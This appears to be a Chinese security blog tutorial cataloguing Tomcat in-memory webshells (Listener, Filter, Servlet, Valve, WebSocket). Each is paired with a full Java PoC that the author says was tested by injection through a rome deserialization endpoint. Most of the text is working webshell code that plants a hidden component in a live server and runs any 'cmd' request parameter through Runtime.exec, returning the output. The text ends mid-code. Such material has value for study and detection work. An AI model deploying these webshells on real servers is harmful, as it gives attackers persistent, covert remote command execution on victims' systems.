前言
本文对 Tomcat 的各种内存马进行了简单学习和整理,所给出的 PoC 代码均已通过反序列化注入的方式测试成功。
环境
引入依赖以及环境如下:
<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<java.version>8</java.version>
<tomcat.version>9.0.60</tomcat.version>
</properties>
<dependencies>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-core</artifactId>
<version>${tomcat.version}</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-jasper</artifactId>
<version>${tomcat.version}</version>
</dependency>
<dependency>
<groupId>rome</groupId>
<artifactId>rome</artifactId>
<version>1.0</version>
</dependency>
</dependencies>
例子以 rome 的反序列化漏洞为例进行内存马的注入。反序列化入口点为:
@WebServlet(urlPatterns = "/un")
public class UnServlet extends HttpServlet {
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String payload = req.getParameter("payload");
byte[] decode = Base64.getUrlDecoder().decode(payload);
try(ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(decode))) {
objectInputStream.readObject();
} catch (ClassNotFoundException e) {
throw new RuntimeException(e);
}
}
}
如果读者不懂 rome 漏洞的话,可以先去简单学习一下,或者我改天再整理整理。
Context
这里用一句话就可以大致概括 ServletContext 、ApplicationContext、StandardContext 三者的关系:
ServletContext 是一个接口,由 ApplicationContext 实现,ApplicationContext 有 context 字段,是 StandardContext 类型,ApplicationContext 的 context 操作实际上是调用了 StandardContext,下面就是通过反射获取到 StandardContext
Listener 内存马
就先从最简单也最实用的 Listener 内存马开始介绍吧。
首先在 Listener 上下断点,然后观察一下调用栈。
分析 Listener 被调用:
先来看 StandardContext#fireRequestInitEvent(ServletRequest request) 这处,可以知道通过 getApplicationEventListeners 获取 Listeners 实例数组
而跟进 getApplicationEventListeners 可以发现返回的是 applicationEventListenersList 属性转换的数组。applicationEventListenersList 是 StandardContext 的一个私有字段的 List<Object>
也就是说,只要我们能够在 StandardContext 的 applicationEventListenersList 添加一个 Listener 对象,那么就会被实例化
那么怎么获得 StandardContext 呢,我们不妨看看调用栈的上一层,也就是 StandardHostValve
是怎么调用的吧。
用 IDEA 可以往上找几行很容易发现在 StandardHostValve
类中是用 request.getContext();
获得 context 对象
这下就明朗了,如果我们想要通过 StandardContext 添加恶意的 Listener,可以通过 request 对象来获得。但是我们怎么获得 request 对象呢?
ThreadLocal
参考前辈们的思路,可以发现在 org.apache.catalina.core.ApplicationFilterChain
中拥有 lastServicedRequest
和 lastServicedResponse
与当前线程相关的静态属性变量
并且该类的私有方法 internalDoFilter
会将 request 和 response 对象引用给 lastServicedRequest 和 lastServicedResponse
为了满足上面的 if 语句,我们可以通过反射操作修改 ApplicationDispatcher.WRAP_SAME_OBJECT
的值,并且通过 ThreadLocal#set
方法将request和response对象存储到变量中,然后通过 ThreadLocal#get
方法将 request 和 response 对象从 lastServicedRequest
和 lastServicedResponse
中取出。
不过需要注意的是 WRAP_SAME_OBJECT
是被 final 修饰的,我们需要通过反射将 final 修饰符去掉。
如下代码即可获得 StandardContext
static {
try {
Field WRAP_SAME_OBJECT = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Field lastServicedRequest = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
Field lastServicedResponse = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
// 去掉 final 修饰符
modifiersField.setInt(WRAP_SAME_OBJECT, WRAP_SAME_OBJECT.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~Modifier.FINAL);
WRAP_SAME_OBJECT.setAccessible(true);
WRAP_SAME_OBJECT.setBoolean(null, true);
lastServicedRequest.setAccessible(true);
lastServicedResponse.setAccessible(true);
if (lastServicedRequest.get(null) == null) {
lastServicedRequest.set(null, new ThreadLocal<>());
}
if (lastServicedResponse.get(null) == null) {
lastServicedResponse.set(null, new ThreadLocal<>());
}
// 获得 standardContext
ThreadLocal threadLocal;
if((threadLocal = (ThreadLocal)lastServicedRequest.get(null))!=null){
ServletRequest request = threadLocal.get();
ServletContext servletContext = request.getServletContext();
// ServletContext 是一个接口,由 ApplicationContext 实现,ApplicationContext 有 context 字段,是 StandardContext 类型,ApplicationContext 的 context 操作实际上是调用了 StandardContext,下面就是通过反射获取到 StandardContext
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
}
} catch (Exception e) {
e.printStackTrace();
}
}
接下来我们要做的就是通过 ThreadLocal 取出保存在 lastServicedResponse
的 responese 对象,并添加恶意的 Listener 对象。下面给出完整的代码,重复注入两次即可成功。
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationFilterChain;
import org.apache.catalina.core.StandardContext;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.util.Scanner;
/**
* @author Shule
* CreateTime: 2023/9/1 15:45
*/
public class ThreadLocalInject extends AbstractTranslet implements ServletRequestListener {
public static ServletResponse response;
static {
try {
Field WRAP_SAME_OBJECT = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Field lastServicedRequest = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
Field lastServicedResponse = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
// 去掉 final 修饰符
modifiersField.setInt(WRAP_SAME_OBJECT, WRAP_SAME_OBJECT.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~Modifier.FINAL);
WRAP_SAME_OBJECT.setAccessible(true);
WRAP_SAME_OBJECT.setBoolean(null, true);
lastServicedRequest.setAccessible(true);
lastServicedResponse.setAccessible(true);
if (lastServicedRequest.get(null) == null) {
lastServicedRequest.set(null, new ThreadLocal<>());
}
if (lastServicedResponse.get(null) == null) {
lastServicedResponse.set(null, new ThreadLocal<>());
}
ThreadLocal threadLocal;
if((threadLocal = (ThreadLocal)lastServicedRequest.get(null))!=null){
ServletRequest request = (ServletRequest) threadLocal.get();
ServletContext servletContext = request.getServletContext();
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
standardContext.addApplicationEventListener(new ThreadLocalInject());
}
ThreadLocal threadLocalResp;
if ((threadLocalResp = (ThreadLocal) lastServicedResponse.get(null))!=null){
response = (ServletResponse)threadLocalResp.get();
}
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void requestInitialized(ServletRequestEvent sre) {
HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
response.setContentType("text/html; charset=UTF-8");
PrintWriter writer = response.getWriter();
Scanner scanner = new java.util.Scanner(inputStream).useDelimiter("\\A");
String result = scanner.hasNext()?scanner.next():"";
scanner.close();
writer.write(result);
writer.flush();
writer.close();
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
这种方式构造虽然繁琐,但是可以获得回显。
WebappClassLoaderBase
在 tomcat 8、9 中我们可以使用较为简便的方法获得 StandardContext
。由于 tomcat 在处理线程的请求中存在 ContextLoader,而这个对象又保存了 StandardContext 所以可以很方便的获取。只需要下面这两行
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext();
拥有 StandardContext 已经足够让我们注入 Listener 内存马了,不过我们还没有得到 response 对象。ThreadLocal 的方式既获得了 StandardContext 也顺便获得了 request 和 response 对象。参考大佬博客大概是通过获取 AbstractProcessor 类中的全局 Response,分析很复杂,我表示一时半会理解不了,修改了一下,最终得到如下的 POC。
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.connector.Connector;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardService;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.coyote.ProtocolHandler;
import org.apache.coyote.RequestGroupInfo;
import org.apache.coyote.RequestInfo;
import org.apache.tomcat.util.net.AbstractEndpoint;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.List;
import java.util.Scanner;
/**
* @author Shule
* CreateTime: 2023/9/1 18:53
*/
public class WebappClassLoaderBaseInject extends AbstractTranslet implements ServletRequestListener {
public static ServletResponse response;
static {
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext();
try {
//获取ApplicationContext
Field applicationContextField = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(standardContext);
//获取StandardService
Field standardServiceField = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");
standardServiceField.setAccessible(true);
StandardService standardService = (StandardService) standardServiceField.get(applicationContext);
//获取Connector
Field connectorsField = Class.forName("org.apache.catalina.core.StandardService").getDeclaredField("connectors");
connectorsField.setAccessible(true);
Connector[] connectors = (Connector[]) connectorsField.get(standardService);
Connector connector = connectors[0];
//获取Handler
ProtocolHandler protocolHandler = connector.getProtocolHandler();
Field handlerField = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredField("handler");
handlerField.setAccessible(true);
org.apache.tomcat.util.net.AbstractEndpoint.Handler handler = (AbstractEndpoint.Handler) handlerField.get(protocolHandler);
//获取内部类AbstractProtocol$ConnectionHandler的global属性
Field globalHandler = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global");
globalHandler.setAccessible(true);
RequestGroupInfo global = (RequestGroupInfo) globalHandler.get(handler);
//获取processors
Field processorsField = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
processorsField.setAccessible(true);
List<RequestInfo> requestInfoList = (List<RequestInfo>) processorsField.get(global);
//获取request和response
Field requestField = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
requestField.setAccessible(true);
for (RequestInfo requestInfo : requestInfoList){
//获取org.apache.coyote.Request
org.apache.coyote.Request request = (org.apache.coyote.Request) requestField.get(requestInfo);
//通过org.apache.coyote.Request的Notes属性获取继承HttpServletRequest的org.apache.catalina.connector.Request
org.apache.catalina.connector.Request http_request = (org.apache.catalina.connector.Request) request.getNote(1);
response = http_request.getResponse();
}
standardContext.addApplicationEventListener(new WebappClassLoaderBaseInject());
} catch (NoSuchFieldException e) {
throw new RuntimeException(e);
} catch (ClassNotFoundException e) {
throw new RuntimeException(e);
} catch (IllegalAccessException e) {
throw new RuntimeException(e);
}
}
@Override
public void requestInitialized(ServletRequestEvent sre) {
HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
response.setContentType("text/html; charset=UTF-8");
PrintWriter writer = response.getWriter();
Scanner scanner = new java.util.Scanner(inputStream).useDelimiter("\\A");
String result = scanner.hasNext()?scanner.next():"";
scanner.close();
writer.write(result);
writer.flush();
writer.close();
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
通过反序列化注入一次即可成功
Filter 内存马
在介绍 Filter 内存马之前,有几个重要的对象先要介绍一下,留个大体印象。
ApplicationFilterConfig (filterConfig)
ApplicationFilterConfig 对象在源码中的变量名为 filterConfig,在该对象中存有 StandardContext 和 FilterDef,并且可以通过 FilterDef 获得 Filter 对象
还可以注意到这个类大体是对 FilterDef 和 context 的封装,毕竟很多地方都调用了 filterDef
FilterDef (filterDef)
FilterDef 对象在源码中的变量名为 filterDef。在 FilterDef 只存储了 Filter 对象,但是包括 filterName、filterClass 的属性。顾名思义,该类是对 Filter 的封装并且增加了一些定义
ApplicationFilterChain (filterChain)
ApplicationFilterChain 对象在源码中的变量名为 filterChain。在这个类中我们只需要注意其保存了一个 ApplicationFilterConfig 数组,变量名为 filters。
FilterMap
在这个对象中定义了确定了 filter 的名字与拦截路由的对应关系。主要有 filterName 和 urlPatterns 的属性。
StandardContext (context)
StandardContext 对象在源码中的变量名常为 context。在介绍前面的内容时,我们已经比较熟悉 StandardContext 了,不过在这里我们要再来注意一下 context 中的内容。可以发现在 context 中可以存储了 ApplicationFilterConfig 和 filterMaps
分析
现在我们来分析一下 Filter 的调用栈:
我们首先来看 ApplicationFilterChain 的部分,可以发现最终通过 filter 的来拦截路由是从 filterConfig 中取出 filter 的。
而 filterConfig 又是从该类的 filters 属性也就是 ApplicationFilterConfig 数组中获得。
我们再来看 StandardWrapperValve 的部分,可以看到代码定位在这一行
我们不妨接着往前看,这个 filterChain 是哪里来的。
再往上几行就可以看到,是调用了 createFilterChain 方法
跟进 createFilterChain 分析一下
public static ApplicationFilterChain createFilterChain(ServletRequest request,
Wrapper wrapper, Servlet servlet) {
...
// Create and initialize a filter chain object
...
// Request dispatcher in use
filterChain = new ApplicationFilterChain();
...
...
// Acquire the filter mappings for this Context
StandardContext context = (StandardContext) wrapper.getParent();
FilterMap filterMaps[] = context.findFilterMaps();
...
// Add the relevant path-mapped filters to this filter chain
for (FilterMap filterMap : filterMaps) {
...
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
context.findFilterConfig(filterMap.getFilterName());
...
filterChain.addFilter(filterConfig);
}
// Add filters that match on servlet name second
...
// Return the completed filter chain
return filterChain;
}
我省略了一些不太紧要的代码和 if 判断语句,也不难看出 createFilterChain 也就是创建 ApplicationFilterChain 主要有这几个步骤:
FilterMap filterMaps[] = context.findFilterMaps();
获取 FilterMap 对象,后续用于通过该对象中的 filtername 取出对应的 filterConfigApplicationFilterConfig filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());
取出 filterConfigfilterChain.addFilter(filterConfig);
# 也就是添加 ApplicationFilterConfig
既然已经发现可以从 context 中获得这些内容,我们也可同样的通过反射放入这些内容,实现 Filter 内存马的注入。步骤也大概如下:
- 创建一个恶意的 Filter 对象
- 将 Filter 封装到 FilterDef 中,再将 FilterDef 放到 context 并封装到 FilterConfig 中。
- 创建 FilterMap 对象并放到 context 中,确定 filterName 与 path 的关系。
- 将 FilterConfig 通过反射的方式注入到 context 的 filterconfigs 中。
这里需要注意第二步和第三步的顺序是不能改变的,原因是在还没有将 filter 放到 context 中 filterMap 是无法注册的,会有校验。
校验如下:
至于怎么获得 context 用 Listener 中介绍的方法即可。
这里放上完整的 POC
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import javax.servlet.*;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Map;
/**
* @author Shule
* CreateTime: 2023/9/4 11:23
*/
public class TomcatFilterInject extends AbstractTranslet implements Filter {
static {
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext();
TomcatFilterInject filter = new TomcatFilterInject();
String filterName = "Poc";
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(filterName);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.setFilterName(filterName);
filterMap.addURLPattern("/*");
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMap(filterMap);
try {
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
// 由于 ApplicationFilterConfig 的构造器修饰符是 default
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
filterConfigs.put(filterName, filterConfig);
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
String cmd = request.getParameter("cmd");
response.setContentType("text/html; charset=UTF-8");
PrintWriter writer = response.getWriter();
if (cmd != null) {
try {
InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
//将命令执行结果写入扫描器并读取所有输入
java.util.Scanner scanner = new java.util.Scanner(in).useDelimiter("\\A");
String result = scanner.hasNext()?scanner.next():"";
scanner.close();
writer.write(result);
writer.flush();
writer.close();
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
chain.doFilter(request, response);
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
将上述的类反序列化注入一次即可成功
Servlet 内存马
研究学习了很久,还是一知半解。分析流程就不去细究了。直接动态记录一下注册 Servlet 的结论:
- 获取
StandardContext
对象 - 编写恶意Servlet
- 通过
StandardContext.createWrapper()
创建StandardWrapper
对象 - 设置
StandardWrapper
对象的loadOnStartup
属性值 - 设置
StandardWrapper
对象的ServletName
属性值 - 设置
StandardWrapper
对象的ServletClass
属性值 - 将
StandardWrapper
对象添加进StandardContext
对象的children
属性中 - 通过
StandardContext.addServletMappingDecoded()
添加对应的路径映射
完整的 PoC 如下
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardWrapper;
import org.apache.catalina.loader.WebappClassLoaderBase;
import javax.servlet.*;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
/**
* @author Shule
* CreateTime: 2023/9/4 16:05
*/
public class TomcatInjectServlet extends AbstractTranslet implements Servlet {
static {
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext();
StandardWrapper standardWrapper = (StandardWrapper)standardContext.createWrapper();
standardWrapper.setLoadOnStartup(1);
TomcatInjectServlet evilServlet = new TomcatInjectServlet();
String servletName = evilServlet.getClass().getSimpleName();
standardWrapper.setServletName(servletName);
standardWrapper.setServletClass(evilServlet.getClass().getName());
standardWrapper.setServlet(evilServlet);
standardContext.addChild(standardWrapper);
standardContext.addServletMappingDecoded("/shell",servletName);
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
@Override
public void init(ServletConfig servletConfig) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
String cmd = servletRequest.getParameter("cmd");
servletResponse.setContentType("text/html; charset=UTF-8");
PrintWriter writer = servletResponse.getWriter();
if (cmd !=null){
try {
InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
//将命令执行结果写入扫描器并读取所有输入
java.util.Scanner scanner = new java.util.Scanner(in).useDelimiter("\\A");
String result = scanner.hasNext()?scanner.next():"";
scanner.close();
writer.write(result);
writer.flush();
writer.close();
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
}
注入一次即可成功
Valve 内存马
我们知道 tomcat 中包含有四种子容器:Engine
、Host
、Context
和Wrapper
,在这四种容器之间的消息传递是通过 tomcat 的管道机制来实现,这个管道机制类似于 Java EE 中的过滤器(Filter)和拦截器(Interceptor)机制。
Tomcat 管道机制的主要组成部分和工作原理:
- Connector(连接器):连接器是 Tomcat 接受传入请求的组件。Tomcat 支持多种连接器,如 HTTP、AJP(Apache JServ Protocol)等。每个连接器负责监听特定的端口和协议。
- Container(容器):容器是一个 Servlet 容器,负责管理和执行 Servlet 和 JSP。Tomcat 中有多个容器,其中包括 Engine、Host 和 Context。Engine 表示整个 Tomcat 服务器,Host 表示虚拟主机,而 Context 表示 Web 应用程序上下文。
- Valve(阀门):阀门是用于处理请求和响应的组件,它们位于容器内部,沿着处理管道的路径执行。每个阀门都实现了 Valve 接口,可以进行自定义配置和扩展。Tomcat 有多个内置的阀门,如请求日志、安全性检查等。
- Pipeline(管道):管道是连接器、容器和阀门之间的交互机制。它定义了请求和响应在经过一系列阀门后的处理流程。Tomcat 的处理管道通常包括以下阶段:
- Request(请求)阶段:在这个阶段,请求首先经过连接器,然后进入容器,经过一系列请求阀门的处理。请求阶段可以包括身份验证、授权等任务。
- Container(容器)阶段:在这个阶段,容器负责查找适当的 Servlet 或 JSP 并执行它们。容器阶段不同于阀门,它是处理 Servlet 请求的核心部分。
- Response(响应)阶段:在容器阶段执行完后,响应进入管道的 Response 阶段,经过一系列响应阀门的处理。响应阶段可以包括内容压缩、响应头的添加等任务。
我们可以通过注册 Valve 进行内存马的注入。步骤如下:
- 创建恶意的 Valve,设置恶意的 invoke 代码
- 获取 StandardContext
- 从 StandardContext 中获取 Pipeline
- 将 Valve 注册到 Pipeline
完整 PoC 如下:
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Contained;
import org.apache.catalina.Container;
import org.apache.catalina.Pipeline;
import org.apache.catalina.Valve;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import javax.servlet.ServletException;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
/**
* @author Shule
* CreateTime: 2023/9/4 17:22
*/
public class TomcatInjectValve extends AbstractTranslet implements Contained, Valve {
static {
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext();
Pipeline pipeline = standardContext.getPipeline();
pipeline.addValve(new TomcatInjectValve());
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
@Override
public Container getContainer() {
return null;
}
@Override
public void setContainer(Container container) {
}
@Override
public Valve getNext() {
return null;
}
@Override
public void setNext(Valve valve) {
}
@Override
public void backgroundProcess() {
}
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
String cmd = request.getParameter("cmd");
response.setContentType("text/html; charset=UTF-8");
PrintWriter writer = response.getWriter();
if (cmd !=null){
try {
InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
//将命令执行结果写入扫描器并读取所有输入
java.util.Scanner scanner = new java.util.Scanner(in).useDelimiter("\\A");
String result = scanner.hasNext()?scanner.next():"";
scanner.close();
writer.write(result);
writer.flush();
writer.close();
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
}
@Override
public boolean isAsyncSupported() {
return false;
}
}
注入一次即可成功,访问任意路径下均可
WebSocket 内存马
这是 veo 大佬研究出来的成果 https://github.com/veo/wsMemShell/
在测试环境的原本的 Maven 依赖中添加
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-websocket</artifactId>
<version>${tomcat.version}</version>
</dependency>
由于 Tomcat 在启动时会默认通过 WsSci 内的 ServletContainerInitializer 初始化 Listener 和 servlet。然后再扫描 classpath
下带有 @ServerEndpoint
注解的类进行 addEndpoint
加入websocket服务,因此我们也可也在服务启动后动态添加 WebSocket 服务。
而且非常简单只需要三步。创建一个ServerEndpointConfig,获取ws ServerContainer,加入 ServerEndpointConfig,即可
ServerEndpointConfig config = ServerEndpointConfig.Builder.create(EndpointInject.class, "/ws").build();
ServerContainer container = (ServerContainer) req.getServletContext().getAttribute(ServerContainer.class.getName());
container.addEndpoint(config);
具体原理参考这里即可:https://xz.aliyun.com/t/11549#toc-3
这里直接使用下面的类,反序列化注入即可。
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.catalina.webresources.StandardRoot;
import org.apache.tomcat.websocket.server.WsServerContainer;
import javax.websocket.DeploymentException;
import javax.websocket.server.ServerContainer;
import javax.websocket.server.ServerEndpointConfig;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class WsCmd extends AbstractTranslet {
static {
try {
String urlPath = "/cmd";
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardRoot standardroot = (StandardRoot) webappClassLoaderBase.getResources();
if (standardroot == null){
Field field;
try {
field = webappClassLoaderBase.getClass().getDeclaredField("resources");
field.setAccessible(true);
}catch (Exception e){
field = webappClassLoaderBase.getClass().getSuperclass().getDeclaredField("resources");
field.setAccessible(true);
}
standardroot = (StandardRoot)field.get(webappClassLoaderBase);
}
StandardContext standardContext = (StandardContext) standardroot.getContext();
ClassLoader cl = Thread.currentThread().getContextClassLoader();
Class clazz;
